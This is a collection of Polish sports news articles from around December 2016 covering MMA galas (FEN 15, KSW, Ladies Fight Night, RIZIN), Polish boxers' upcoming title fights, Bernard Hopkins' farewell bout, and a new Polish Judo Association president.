14 stycznia w Lubinie kibice obejrzą jeszcze kilka innych emocjonujących pojedynków na zasadach MMA, m.in. Amerykanina Matt Horwicha z Filipem TomczakiemAlberta Odzimkowskiego z Oskarem SomerfeldemMichała Michalskiego Kamilem Gniadkiem i Mateusza Głąba zMichałem Miłkiem. Wydarzeniem gali FEN 15 Final Strike będą dwa pojedynki o pasy mistrzowskie w formule K-1 – w walce wieczoru zmierzą się Paweł Biszczak i Wojciech Wierzbicki, a w drugim starciu o pierwszy kobiecy tytuł w historii federacji FEN walczyć będzie Róża Gumienna.

Bilety na styczniową galę FEN 15 w Lubinie można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 15 na bieżąco na fanpage’u FEN na Facebooku.

FEN

Balde rywalem Zontka na gali FEN 15 Final Strike

Marcin Zontek, który na gali FEN 15 Final Strike po raz pierwszy od walki o pas z Przemysławem Mysialą wejdzie do klatkoringu Fight Exclusive Night, poznał nazwisko swego przeciwnika. 14 stycznia w Lubinie niedawny pretendent do tytułu mistrza FEN wagi półciężkiej zmierzy się z francuskim mistrzem nokautu Boubacarem Balde.

39-letni Boubacar Balde to obdarzony nieprzeciętnie silnym ciosem, agresywnie i widowiskowo walczący zawodnik, który zawsze dąży do zakończenia walki przed czasem. Reprezentant znanego paryskiego klubu MMA Factory nieprzypadkowo nosi przydomek „Blackout” – dziesięć z dwunastu swoich zawodowych zwycięstw odniósł przed kończącym pojedynek gongiem, aż ośmiokrotnie nokautując swoich rywali. 

Zanim Boubacar Balde stał się jednym z najbardziej rozpoznawalnych francuskich fighterów MMA, sukcesy sportowe odnosił w futbolu amerykańskim, zdobywając w latach 2000 i 2003 tytuły mistrza Francji z zespołem Flash de La Courneuve. Jednocześnie trenował także boks, w którym w 2007 roku sięgnął po pas mistrza Paryża w kategorii do 91 kg, a później zainteresował się boksem tajskim i pankrationem, aby ostatecznie skoncentrować się na mieszanych sztukach walki. 

Od 2011 roku „Blackout” stoczył 22 zawodowe pojedynki, początkowo walcząc głównie dla najważniejszej francuskiej organizacji 100% Fight. Spektakularne zwycięstwa na galach tej federacji otworzyły mu drogę do występów w oktagonie brytyjskiej organizacji Cage Warriors oraz rosyjskiej ProFC. Obecnie Balde ma na swoim koncie 12 zwycięstw oraz 10 porażek. Walka na gali FEN 15 Final Strike będzie jego pierwszym występem w Polsce. 

Dla 37-letniego Marcina Zontka, jednego z najbardziej doświadczonych polskich wojowników MMA, który m.in. zdobył tytuł mistrza brytyjskiej federacji Ultimate Cage Championships i walczył w rosyjskiej organizacji M-1 Global, będzie to już szósty występ w organizacji FEN. Dzięki czterem zwycięstwom z rzędu w pojedynkach z Krzysztofem Pietraszkiem, Maciejem Browarskim, TassiloLahrem i Arunasem Viliusem zawodnik klubu Contender Kamienna Góra na niedawnej gali FEN 12 Feel the Force otrzymał szansę sięgnięcia po tytuł mistrzowski w kategorii półciężkiej. Zontek ostatecznie pasa nie zdobył, ale jego zacięty, obfitujący w niesamowite zwroty akcji pięciorundowy bój z Przemysławem Mysialą z pewnością można zaliczyć do najlepszych walk mijającego roku w Polsce.

14 stycznia w Lubinie kibice obejrzą jeszcze pieć innych emocjonujących pojedynków na zasadach MMA:  Amerykanina Matt Horwicha z Filipem TomczakiemAlberta Odzimkowskiego z Oskarem SomerfeldemMichała Michalskiego z Kamilem GniadkiemMateusza Rębeckiego z Adamem Golonkiewiczem i Mateusza Głąba z Michałem Miłkiem. Wydarzeniem gali FEN 15 Final Strike będą dwa pojedynki o pasy mistrzowskie w formule K-1 – w walce wieczoru zmierzą się Paweł Biszczak i Wojciech Wierzbicki, a w drugim starciu o pierwszy kobiecy tytuł w historii federacji FEN walczyć będzie Róża Gumienna.

Bilety na styczniową galę FEN 15 w Lubinie można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 15 na bieżąco na fanpage’u FEN na Facebooku.

FEN

Hanna „Tyson” Gujwan zapowiada wojnę na RIZIN!

Za nami ceremonia ważenia przed Grand Prix Rizin w japońskiej Saitama Super Arena. Hanna Gujwan, zawodniczka Ladies Fight Night, jest w świetnej formie przed pojedynkiem z Reną Kubotą. W piątek uśmiechnięta stawała na wadze, bez problemu mieszcząc się w limicie wagowym. Hanna Gujwan (1-0-0) i Rena Kubota (2-0-0) zmieściły się w wymaganym przedziale wagowym. Hania ważyła dziś 48,7 kg i była 200g lżejsza niż jej przeciwniczka. Utalentowana zawodniczka LFN wygląda świetnie i jest pewna swego. „Jest wszystko ok, jestem po ważeniu i czuję się dobrze. Jutro będzie wojna!” – zapowiada Hanna „Tyson” Gujwan. Ladies Fight Night jest drugą po KSW organizacją, która może pochwalić się współpracą z japońską organizacją RIZIN Fighting Federation. Trzymajcie kciuki za zawodniczkę z Polski!

Co działo się w 2016 roku?

Wielkimi krokami zbliża się nowy rok. Czas zatem na podsumowanie minionych dwunastu miesięcy. W sportach walki 2016 rok obfitował w wiele emocjonujących pojedynków, wydarzeń, sukcesów, ale i porażek.

Za nami rok Igrzysk Olimpijskich, z który z medalem wróciła zapaśniczka Monika Michalik. Ponownie siłę na mistrzowskich imprezach pokazali nasi kickboxerzy. W świecie boksu szansę na pas w wadze ciężkiej miał Artur Szpilka. W 2016 roku nie mogliśmy narzekać na nudę. Co najbardziej utkwiło nam w pamięci?

BOKS

16 stycznia w Barclays Center w Nowym Jorku Artur Szpilka stanął przed szansą wywalczenia mistrzowskiego pasa WBC w wadze ciężkiej. Deontay Wilder to potężny bombardier, który odprawia kolejnych rywali. Szpilka zaczął odważnie, był aktywny i niepokoił Amerykanina, a ten cierpliwie czekał. W dziewiątej rundzie czempion kropnął niczym grom z jasnego nieba. Wilder wyprowadził prawy prosty, a Szpilka padł na deski i na noszach opuszczał ring. Warto dodać, że 25 lutego mistrz WBC spotka się z kolejnym Polakiem. Tym razem będzie to Andrzej Wawrzyk.

Z ringiem pożegnał się Tomasz Adamek. „Góral” zdobywał pasy mistrzowskie w kategoriach juniorciężkiej i półciężkiej, walczył o tytuł w ciężkiej. 2 kwietnia w Krakowie przegrał w 10. rundzie z Ericem Moliną. Z kolei we wrześniu z pasem mistrzowskim WBO kategorii junior ciężkiej pożegnał się Krzysztof Głowacki. Polak przegrał z Oleksandrem Usykiem.

Udany powrót na ring Krzysztofa Włodarczyka. W 2016 roku „Diablo” wygrał trzy walki i coraz częściej mówi się, że w perspektywie kolejnych miesięcy stoczy bój o pas mistrzowski. Ważnym wydarzeniem kończącego się roku jest zakontraktowanie hitowego starcia w wadze ciężkiej. 29 kwietnia na stadionie Wembley Anthony Joshua spotka się z Władimirem Kliczko.

MMA

Coraz lepiej w UFC radzi sobie Krzysztof Jotko. Polak rywalizujący w wadze średniej wygrał pięć kolejnych walk i zgłosił akces do walki o tytuł. W ostatnim występie, listopadowa gala w Sao Paulo (UFC Fight Night 100), Jotko pokonał Thalesa Leitesa.

Joanna Jędrzejczyk wyrosła na gwiazdę UFC i jedną z najbardziej rozpoznawalnych zawodniczek MMA. W listopadzie na gali UFC 205 doszło do starcia o mistrzostwo wagi słomkowej, w której zmierzyły się dwie Polki. Karolina Kowalkiewicz starała się odebrać pas Jędrzejczyk, ale bezskutecznie. 

Ogromne zainteresowanie wzbudziła walka Mariusza Pudzianowskiego z Pawłem Mikołajuwem podczas grudniowej gali KSW 37 w Krakowie. Atmosfera wokół pojedynku była gorąca. Raper „Popek” to postać kontrowersyjna. Po kilku latach zdecydował się na powrót do MMA, ale nie mógł być z siebie zadowolony. Pudzianowski potrzebował 80 sekund, aby odnieść zwycięstwo.

KICKBOXING

Z październikowych mistrzostw Europy w kickboxingu, które odbyły się w Mariborze Polacy przywieźli dwadzieścia medali. Rywalizacja odbywała się w formułach light contact, low kick oraz K-1. Po złote medale sięgnęli: Małgorzata Dymus (52kg), Paulina Jarzmik (60kg), Paulina Bieć (70kg), Leszek Jobs (weteran), Kamil Ruta (86kg), Dawid Kasperski (86kg) i Mateusz Pluta (91kg).

Z kolei w listopadzie nasi zawodnicy walczyli o medale w Loutraki w Grecji. Z mistrzostw Europy kick light, full contact i pointfighting Polacy przywieźli 16 medali, z czego trzy z najcenniejszego kruszcu. Sięgnęli po nie: Paulina Jarzmik (60kg), Katarzyna Kwiecień (70kg) i Mateusz Niżejewski (63kg).

ZAPASY

Z Rio de Janeiro olimpijski medal przywiozła Monika Michalik (63kg). 36-letnia zapaśniczka wywalczyła brąz. Igrzyska zaczęły się dla niej wręcz fatalnie. Michalik przegrała z Risako Kawai i musiała mocno ściskać kciuki za Japonkę. Ta dotarła do finału, co otworzyło Polce drzwi do rywalizacji w repasażach. Doświadczona Michalik wykorzystała szansę i po udanych repasażach, stanęła do rywalizacji o brąz, która zakończyła się po jej myśli.

W marcu mogliśmy cieszyć się z medali mistrzostw Europy w Rydze. Największą radość kibicom sprawił Magomiedmurad Gadżyjew (70kg), który zdobył złoto w stylu wolnym. Po srebro sięgnął Robert Baran (125kg). W finale stylu wolnego lepszy okazał się Geno Petriaszwili. Drugi wśród klasyków był Edgar Babayan (80kg), a Tadeusz Michalik (85kg) rywalizację zakończył na trzecim miejscu.

JUDO

W judo zabrakło medalu olimpijskiego, ale żeńska reprezentacja Polski kończy rok w dobrych humorach. Podopieczne Anety Szczepańskiej wywalczyły mistrzostwo Europy. W kwietniu w Kazaniu pozostawiły konkurencję w tyle. Finałowe starcie z Rosją biało-czerwone wygrały 3:2. Rok wcześniej Polki sięgnęły po wicemistrzostwo świata.

Z kolei męska kadra w Kazaniu sięgnęła po brąz mistrzostw Europy. Indywidualny sukces zanotował Piotr Kuczera (90kg), który stanął na trzecim stopniu podium.

Warto również odnotować dobrą postawę Polek podczas Pucharu Świata w Warszawie. W lutowych zawodach biało-czerwone okazały się bezkonkurencyjne i triumfowały w klasyfikacji medalowej.  Złote krążki zawisły na szyjach Arlety Podolak (57kg), Katarzyny Kłys (70kg) i Beaty Pacut (78kg). Z kolei Anna Borowska (57kg) sięgnęła po brąz.

WUSHU

W październiku pruszkowska hala Znicz zamieniła się w arenę zmagań mistrzostw świata taijiquan. Bohaterką polskiej kadry okazała się Anna Kubiak, która wywalczyła trzy medale (srebro i dwa brązowe) w konkurencjach sportowych. Pozostałe krążki biało-czerwoni zdobywali w formach demonstracyjnych. Łącznie Polska wywalczyła 13 medali.

KM

Ciężkie boje Polaków

Andrzej Wawrzyk stanie przed kolejną szansą na zdobycie mistrzowskiego pasa w wadze ciężkiej. Rywalem Polaka ma być czempion WBC Deontay Wilder. Do kolejnej walki szykuje się Artur Szpilka, a Mariusz Wach powalczy o mistrzostwo Europy z Agitem Kabayelem.

Polska nie miała nigdy mistrza świata w wadze ciężkiej. Kilkukrotnie próbował Andrzej Gołota, jednak bezskutecznie. Rady nie dali również Albert Sosnowski, Tomasz Adamek, Mariusz Wach i Artur Szpilka. Mistrzowską szansę miał Andrzej Wawrzyk, ale wypunktował go Aleksander Powietkin. Teraz Polak ma stanąć „oko w oko” z wielkim bombardierem – Deontayem Wilderem.

Kładzie kolejnych

25 lutego w Legancy Arena w Birmingham 31-letni „Bronze Bomber” stanie po raz piąty w obronie mistrzowskiego pasa WBC kategorii królewskiej. W ostatnim 31-letni Amerykanin wracał do zdrowia po kontuzji prawej ręki i bicepsa. Pięściarz przeszedł dwie operacje. Kontuzji doznał w starciu z Chrisem Arreolą i przez kilka rund walczył jedną ręką! Wilder odesłał kolejnego rywala z kwitkiem. Na głowę Arreoli spadło mnóstwo ciosów i po siódmej rundzie sztab „rzucił ręcznik”. Pół roku wcześniej mistrz WBC rozprawił się z Arturem Szpilką, który prezentował się dobrze, ale w dziewiątej rundzie potężny prawy Wildera powalił Polaka na ziemię. „Szpila” opuszczał ring na noszach.

Wilder będzie miał okazję spotkać się z kolejnym Polakiem. 25 lutego o sprawienie niespodzianki postara się Andrzej Wawrzyk. Dla 29-letniego boksera będzie to kolejna szansa na zdobycie tytułu mistrzowskiego. 17 maja 2013 roku w Moskwie Wawrzyk spotkał się z czempionem WBA Aleksandrem Powietkinem. Dla polskiego było to przykre doświadczenie. Wytrwał trzy rundy i aż trzy razy padał na deski. Była to jedyna porażka krakowianina w karierze. Od tamtej pory stoczył sześć pojedynków i wszystkie wygrał przed czasem.

Dla Wilder walka z Wawrzykiem ma być przystankiem na drodze do głównego celu, którym jest unifikacja mistrzowskich pasów wagi ciężkiej.

Kto dla Szpilki?

W kontekście kolejnego rywala Artura Szpilki pojawia się kilka nazwisk. Mówi się, że Polak może się spotkać z Chrisem Arreolą, Geraldem Washingtonem lub Dominicem Breazeale. Ten ostatni przyznał, że na początku przyszłego roku spotka się z Polakiem. Możliwe, że podczas gali w Legancy Arena w Birmingham. 

Szpilka wyleczył kontuzję lewej dłoni i w sierpniu wrócił do treningów. W kończącym się roku przeprowadził nieudany atak na pas WBC, przegrał przez nokaut z Wilderem. Polak szykuje się do powrotu na ring. Również Breazeale przeprowadził atak na tytuł, tyle że IBF. 31-latek w starciu z Anthony'm Joshuą wylądował na deskach w siódmej rundzie. Breazeale ma na koncie 17 zwycięstw, z czego 15 przed czasem.

Wach o mistrzostwo Europy

Mariusz Wach stanie przed szansą wywalczenia mistrzostwa Europy w wadze ciężkiej. 4 lutego w Magdeburgu polski bokser zmierzy się z Agitem Kabayelem.

24-letni reprezentant wygrał 15 pojedynków, żadnego nie przegrał. W czerwcu zdobył mistrzostwo Unii Europejskiej, pokonując Christiana Lewandowskiego. Z kolei Wach wrócił na ring po porażce z Aleksandrem Powietkinem w listopadzie 2015 roku i w Kędzierzynie Koźlu uporał się z Marcelo Luizem Nascimento.

KM

Cele i wyzwania nowego prezesa

Jacek Zawadka podziękował za zaufanie i wybór na stanowisko Prezesa Polskiego Związku Judo. Teraz nadszedł czas na stopniowe realizowanie złożonych obietnic.

Zawadka na stanowisku sternika polskiego judo zastąpił Sławomira Kownackiego, który nie ubiegał się o reelekcję. W decydującym boju pokonał Krzysztofa Wiłkomirskiego, który otrzymał 110 głosów. Zawadkę poparło dziewięciu delegatów więcej.

Liczy na współpracę

Wiadomo, że polskie judo potrzebuje sportowego sukcesu jak ryba wody. Liczono ma medal podczas Igrzysk Olimpijskich w Rio de Janeiro, jednak żadnemu z naszych czworga reprezentantów nie udało się znaleźć na podium. Prezes Zawadka liczy, że współpraca wyda pożądane. W otwartym liście podziękował za okazane zaufanie. – Serdeczne podziękowania kieruję w stronę delegatów-wyborców, moich współpracowników, a także kontrkandydatów. Będę czerpał z Waszych najlepszych, merytorycznych propozycji i pomysłów. Zapraszam do współpracy wszystkich, którym leży na sercu dobro polskiego judo, zarówno tych, którzy zdecydowali się na mnie głosować, jak i dotychczas sceptycznie nastawionych do mojego programu. Deklaruję otwartość na pomysły, sugestie, wskazówki – napisał Jacek Zawadka.

Już na początku pracy prezes musi radzić sobie z problemami. – Wstępna analiza matematyczna (potrzeba jeszcze księgowej) wskazuje na brak około 900 tysięcy złotych w kasie (dokładne informacje podamy wkrótce). Tę kwotę PZJudo musi spłacić do końca roku. Oznacza to, że na procedury, ukonstytuowanie zarządu, zaciągnięcie nowej pożyczki (i znalezienie pożyczkodawcy!) mamy jedynie kilka dni. To wyzwanie, któremu należy sprostać. Zatem idące konsekwencje to takie, że niestety finansowanie szkolenia centralnego w styczniu może być zagrożone. Doświadczenie w biznesie nauczyło mnie szybkiego reagowania na mniejsze i większe kryzysy. Początkowe trudności jedynie umocnią nas na przyszłość – czytamy w liście sternika Polskiego Związku Judo.

W czwartek, 22 grudnia, odbędzie się pierwsze spotkanie nowego zarządu PZJudo, w skład którego wchodzą: Adam Poździk, Tomasz Gadaj, Cezary Borzęcki, Juliusz Kowalczyk, Andrzej Jasiński, Jacek Biernat, Andrzej Falkiewicz, Józef Jopek, Zenon Mościński, Mariusz Radziewski.

Marzenia o medalu olimpijskim

Ten cel przewija się cały czas w polskim środowisku judo. Medal olimpijski miałby być impulsem i nadzieją na lepsze dni. W 1996 roku w Atlancie złoto olimpijskie wywalczył Paweł Nastula. Ciągle wracamy do tego sukcesu, ale nowej historii polskim judokom nie udaje się napisać.

W tym roku nie brakowało pozytywnych akcentów w polskim judo. Reprezentacja Polski kobiet wywalczyła mistrzostwo Europy, Piotr Kuczera sięgnął po brąz europejskiego czempionatu, a kilku naszych zawodników wygrywało międzynarodowe zawody. 

W kampanii wyborczej Zawadka zapowiadał, że chce stworzyć nowoczesny system szkolenia i przygotować odpowiednie warunki, które pozwolą wywalczyć medal olimpijski w Tokio w 2020 roku.

KM

Medalista igrzysk w Londynie czeka na debiut w MMA

Damian Janikowski ma być jedną z gwiazd gali KSW, która odbędzie się w maju przyszłego roku na stadionie PGE Narodowy w Warszawie. Dla 27-latka będzie to debiut w MMA.

W tym roku w sportowym życiu Damiana Janikowskiego doszło do wielu zmian. Zawodnik podjął decyzję o zakończeniu kariery zapaśniczej i zdecydował, że będzie rozwijał się w MMA. 27-latek związał się z federacją KSW.

Zapaśnicze medale

W ostatnich latach Damian Janikowski był jednym z najbardziej rozpoznawalnych zapaśników w kraju. Wszystko za sprawą brązowego medalu wywalczonego na Igrzyskach Olimpijskich w Londynie w 2012 roku. Bez wątpienia to największy sukces w karierze zawodnika z Wrocławia, który wielokrotnie zdobywał mistrzostwo Polski. Na swoim koncie zapisał również wicemistrzostwo świata (2011) oraz srebro (2012) i brąz (2014) mistrzostw Europy. Wspomniane sukcesy odnosił w stylu klasycznym.

Celem Janikowskiego był start na Igrzyskach Olimpijskich w Rio de Janeiro. Marzenia prysły niczym bańka mydlana. W kwietniu zapaśnik odpadł w pierwszej rundzie turnieju kwalifikacyjnego w Ułan Bator. Lepszy od Polaka okazał się Gruzin Robert Kobiaszwili. Wcześniej nie udało mu się wywalczyć przepustki podczas turnieju w Serbii. Można powiedzieć, że igrzyska przeszły Janikowskiemu koło nosa we wrześniu 2015 roku. Na mistrzostwach świata w Las Vegas zajął siódme miejsce, a kwalifikację uzyskało… sześciu najlepszych zawodników. 

W końcu Janikowski podjął decyzję o zakończeniu przygody z zapasami. Uzasadniał ją kolejnymi porażkami z zawodnikami, z którymi przegrywać nie powinien. Nie ukrywał, że kolejnym krokiem w jego karierze będzie MMA. W listopadzie br. podpisał kontrakt z KSW. Wiadomo, że w oktagonie zadebiutuje 27 maja 2017 roku na stadionie PGE Narodowy w Warszawie.

Kto jeszcze?

KSW powoli odsłania karty warszawskiej gali. Oprócz medalisty olimpijskiego z Londynu, na PGE Narodowym wystąpi mistrz wagi średniej Mamed Khalidov. 36-latek nie przegrał od ponad sześciu lat. Ostatnie zwycięstwo zanotował w starciu z Azizem Karaoglu, choć publiczność zgromadzona w gdańskiej Ergo Arenie nie była zachwycona poziomem walki.

W Warszawie zaprezentuje się również Mariusz Pudzianowski, który był jednym z bohaterów KSW 37. „Pudzian” szybko uporał się z raperem „Popkiem”. Na stadionie PGE Narodowy wystąpi nowy mistrz wagi ciężkiej KSW Fernando Rodrigues Jr. Podczas gali w Krakowie (KSW 37) Brazylijczyk odebrał pas Karolowi Bedorfowi. 29-latek udowodnił, że jest efektownym fighterem i w drugiej rundzie cieszył się ze zwycięstwa. Brazylijczyk stoczył dotychczas 13 walk, z czego tylko jedna zakończyła się decyzją sędziów. 

KM

Smutne pożegnanie Hopkinsa

51-letni Bernard Hopkins postanowił zakończyć przygodę z boksem. W hali sportowej The Forum w Inglewood najstarszy zdobywca tytułu mistrzowskiego w boksie przegrał z Joe Smithem Juniorem. Warto dodać, że na kalifornijskiej gali zaprezentował się Oleksandr Usyk, który obronił pas WBO w kategorii junior ciężkiej.

Hopkins nie raz udowodnił, że wiek nie stanowi przeszkód, aby rywalizować na najwyższym poziomie. Przez lata amerykański pięściarz był szczycie, zdobywał pasy mistrzowskie w dwóch kategoriach wagowych. Chciał odejść w chwale zwycięzcy, ale plany popsuł mu niedawny pogromca Andrzeja Fonfary – Joe Smith Jr. 

Kariera pełna sukcesów

Ciężka praca to fundament sukcesu, do którego osiągnięcia potrzebna jest również chłodna głowa. Bernard Hopkins zapisał się w historii boksu jako czempion dwóch kategorii wagowych oraz jako najstarszy zdobywca tytułu mistrzowskiego. 21 maja 2011 roku w Montrealu pokonał jednogłośnie na punkty Jeana Pascala i zdobył pas WBC wagi półciężkiej. Miał wtedy 46 lat i 126 dni. Co ciekawe, dwa lata później sam poprawił to osiągnięcie. W wieku 48 lat sięgnął po tytuł IBF wagi półciężkiej.

Pierwsze kroki na zawodowym ringu stawiał, gdy nikt nie myślał o „lajkowaniu” zdjęć w serwisach społecznościowych, a w Polsce trwał komunizm. Dla niektórych jest to nie do pomyślenia, więc patrzą na Hopkinsa, który debiutował 11 października 1988 roku w New Jersey jak na dinozaura. Amerykanin przegrał z Clintonem Mitchellem, ale później wygrał 22 kolejne walki. W 1995 roku sięgnął po tytuł mistrza świata IBF wagi średniej, do którego sześć lat później dołożył pasy WBC i WBA. Aż 20 razy skutecznie bronił tytułu mistrza świata! 

Następnie przeniósł się do wagi półciężkiej. W 2006 roku wygrał z Antonio Tarverem i zdobył tytuł mistrza świata The Ring oraz pasy IBO i NBA. Hopkins przełamywał bariery i pokazywał światu, że życie po „40-stce” jest możliwe. Wielu patrzyło na jego kolejne walki z przymrużeniem oka, jednak „Kat” robił swoje. W maju 2011 pokonał Jeana Pascala i zdobył pas WBC, dwa lata później wygrał z Tavorisem Cloud, co zaowocowało tytułem IBF. Ostatniej zdobyczy skutecznie bronił dwukrotnie –  z Karo Muratem i Bejbutem Szumenowem. Marsz Hopkinsa w listopadzie 2014 roku powstrzymał Siergiej Kowaliow.

Po dwóch latach przerwy, 51-letni były mistrz wagi średniej i półciężkiej wrócił, aby stoczyć pożegnalną walkę. 27-letni Joe Smith Jr. nie miał litości dla ikony boksu. Pogromca Andrzeja Fonfary odważnie ruszył do przodu, ale Hopkins w końcu doszedł do głosu i wykorzystywał swój prawy. W piątej rundzie nie brakowało bezpośrednich wymian. Smith Jr. naciskał, a Hopkins zaczął popełniać błędy. W ósmej rundzie 51-latek wylądował na deskach. Po lewym sierpowym Smith Jr., Hopkins osunął się i wylądował poza ringiem. Wielki mistrz zanotował ósmą porażkę w karierze. Z pewnością Hopkins inaczej wyobrażał sobie pożegnanie z ringiem. Mimo to, Amerykanin kończy karierę z podniesionym czołem. Nie raz pokonywał bariery i udowadniał, że sportowy sukces możliwy jest w każdym wieku.

Usyk obronił tytuł

W Inglewood zaprezentował się również Oleksandr Usyk, który we wrześniu w Gdańsku pokonał Krzysztofa Głowackiego i wywalczył pas WBO w wadze junior ciężkiej. 29-latek stanął do pierwszej obrony tytułu. Thabiso Mchunu starał się, ale był w stanie zagrozić wyższemu i lepiej przygotowanemu Usykowi. W szóstej rundzie pięściarz z RPA wylądował na deskach. Czas nie działał na korzyść Mchunu, który tracił siły. Wykorzystał to Usyk, który w dziewiątej rundzie podkręcił tempo. 28-letni Mchunu padł na deski i sędzia podjął decyzję o zakończeniu rywalizacji. 

Mistrz świata WBO wygrał jedenastą walkę w karierze.

KM

MMA na „stadionach”, panie w akcji

W świecie MMA ciekawych wydarzeń nie brakuje. Polscy miłośnicy mieszanych sztuk walki ostrzą sobie apetyty na majową galę KSW, która odbędzie się na stadionie PGE Narodowy w Warszawie. Coraz śmielej radzą sobie panie. 18 grudnia odbyła się już czwarta gala organizacji Ladies Fight Night.

Powiedzieć, że popularność MMA stale rośnie, to jakby nic nie powiedzieć. Z pewnością duża w tym zasługa dobrych występów polskich fighterów. Joanna Jędrzejczyk dzierży w dłoniach mistrzowski pas UFC w wadze słomkowej, która niedawno w walce o tytuł rywalizowała z Karoliną Kowalkiewicz. Z kolei Damian Grabowski i Marcin Tybura osiągali sukcesy w organizacji M-1 Global. Teraz próbują swoich sił w UFC. W kraju o efektywne pojedynki można podziwiać na galach KSW i FEN, zaś organizacji LFN promuje MMA w wersji kobiecej.

Z hali na stadion 

Jeszcze kilka tygodni temu wszyscy czekali na pojedynek Mariusza Pudzianowskiego i Pawła „Popka” Mikołajuwa. Starcie trwało zaledwie osiemdziesiąt sekund i zakończyło się zwycięstwem 39-letniego byłego mistrza świata strongman. Podczas krakowskiej gali mistrzowskie pasy stracili Karol Bedorf i Artur Sowiński, nowymi czempionami zostali Fernando Rodrigues Jr. oraz Marcin Wrzosek. KSW wyprowadza kolejny mocny cios, który ma wzbudzić zainteresowanie. 27 maja 2017 roku na stadionie PGE Narodowy w Warszawie odbędzie się kolejna gala organizacji Martina Lewandowskiego i Macieja Kawulskiego. W polskich warunkach to coś nowego, choć KSW posiada już doświadczenie w tym względzie.

31 października 2015 roku stadion Wembley zamienił się w arenę zmagań MMA. Gala KSW 32 była swego rodzaju przełomem i krokiem naprzód polskiej organizacji. Świadome budowanie marki, zwiększanie jej prestiżu oraz ekspansja produktu, a przede wszystkim ciekawe walki –  wszystkie założenia udało się zrealizować. W Londynie doszło do dwóch mistrzowskich walk, w których triumfowali: Tomasz Narkun i Borys Mańkowski. Wydarzeniem wieczoru był pojedynek Mariusza Pudzianowskiego i Petera Grahama, która zakończył się porażką Polaka.

Zdobyte doświadczenie KSW będzie chciała przekuć na polski grunt. Największy obiekt sportowy w kraju przemieni się w świątynię MMA. W związku z tym należy spodziewać się walk na najwyższym poziomie oraz ogromnej frekwencji. Kibice niecierpliwą się i czekają na nazwiska zawodników, którzy wystąpią w maju na PGE Narodowym. Na plakacie promującym wydarzenie pojawili się Mamed Khalidov i Mariusz Pudzianowski.

Kobiety w akcji

Ciekawą propozycją dla miłośników MMA i K-1 są gale Ladies Fight Night. Kolejną można było obserwować w sobotę 17 grudnia. W Karpaczu doszło do wielu emocjonujących i efektownych pojedynków. Ogromny potencjał okazała Agnieszka Niedźwiedź, która w walce wieczoru pokonała Samarę Santos Cunhę. Przed występem Polka miała problemy, bo nie zmieściła się w limicie wagowym i otrzymała karę finansową. W sobotę pokazała, że cała sytuacja nie wpłynęła na jej postawę w ringu. 

Od pierwszych minut Niedźwiedź naciskała na Santos. W drugiej rundzie założyła rywalce dźwignię na łokieć, jednak Brazylijka wyszła z opresji. Santos opadała z sił, a Niedźwiedź była naładowana i cały czas niepokoiła swoją rywalkę. W trzeciej rundzie skuteczne obalenie, Brazylijka przyjmowała kolejne ciosy i sędzia w końcu przerwał starcie.

Efektowne zakończenie walki w wykonaniu Celemence Schreiber. Zawodniczka z Francji wygrała przez duszenie zza pleców, Katarzyna Sadura musiała odklepać. Z kolei Martyna Czech już w pierwszej rundzie wygrała z Laurą Ciulkeviciute.

Na gali UFC on FOX 22 w Sacramento była mistrzyni organizacji Invicta Michelle Waterson szybko uporała się z Paige VanZant. W pierwszej rundzie wygrała poprzez duszenie zza pleców. Warto dodać, że w Sacramento ostatnią walkę w karierze stoczył Urijah Faber. Decyzją sędziów 37-latek wygrał Bradem Pickettem.

KM

Włodarczyk czeka na pas, Wilder na rywala

Krzysztof Włodarczyk ma nadzieję na walkę o pas wagi junior ciężkiej. „Diablo” został wyznaczony do turnieju eliminacyjnego, który wyłoni pretendenta do tytułu WBC. Na horyzoncie jest też walka eliminacyjna IBF. Można powiedzieć, że po zakontraktowaniu pojedynku, w którym zmierzą się Anthony Joshua i Władimir Kliczko waga ciężka nieco ożywiła się. Szykuje się prawdziwa uczta, na której efekty czeka Deontay Wilder. 

Trzy tegoroczne zwycięstwa Włodarczyka rozbudziły jego apetyt na walkę o wysoką stawkę. Okazuje się, że cel byłego mistrza świata wydaje się być na wyciągnięcie ręki.

Pojawiły się możliwości

35-letni bokser tegoroczne występy zakończył 10 grudnia we Wrocławiu, gdzie rozprawił się z Leonem Harthem. Walka rozczarowała, bo rywal stronił od wymian, a sam „Diablo” nie zachwycił. Zrobił jednak tyle, żeby sędziowie nie mieli żadnych wątpliwości, komu należy się zwycięstwo. Wcześniejsze dwa pojedynki Włodarczyk rozstrzygnął na swoją korzyść przed czasem.

Po półtorarocznej przerwie „Diablo” wrócił na ring, poczuł smak rywalizacji i nie było żadnych wątpliwości, że jest lepszy od rywali. Szybko pojawiły się głosy, że Włodarczyka stać na walkę o mistrzostwo świata. W przyszłym roku 35-letni pięściarz może spełnić marzenia. Prawdopodobnie Polak zmierzy się z Noelem Gevorem w walce eliminacyjnej o pas mistrza świata IBF. Takie rozwiązanie jest możliwe w związku z decyzją Marco Hucka, który spotka się z Mairisem Briedisem o WBC Interim. Jeśli Włodarczyk pokona Gevora, będzie miał szansę na pas IBF. Tytuł należy do Murata Gassijewa.

Ale to nie koniec. Przed Włodarczykiem otworzyła się jeszcze jedna furtka. Federacja WBC wyznaczyła Krzysztofa Włodarczyka do udziału w turnieju eliminacyjnym, który wyłoni pretendenta do tytułu mistrzowskiego. W zmaganiach mają wziąć udział także: Dmitrij Kudriaszow, Olanrewaju Durodola (niedoszły rywal Polaka) oraz Ilunga Makabu. Warto przypomnieć, że Tony Bellew, czempion WBC, zdecydował się przejść do wagi ciężkiej. 4 marca zmierzy się z Davidem Hayem.

Bilety czekają

Przeskoczmy do wagi ciężkiej. 29 kwietnia na stadionie Wembley dojdzie do hitowego starcia, w którym rękawice skrzyżują Anthony Joshua i Władimir Kliczko. Zapowiada się starcie młodego, niezwykle utalentowanego boksera z żywą legendą ringu. Joshua jeszcze nigdy nie przegrał i wszystkie pojedynki wygrał przed czasem. Z kolei Kliczko po raz ostatni walczył w listopadzie 2015 roku, kiedy przegrał z Tysonem Fury'm. Ten niedawno popadł w tarapaty, gdyż na światło dzienne wyszły jego problemy z używkami.

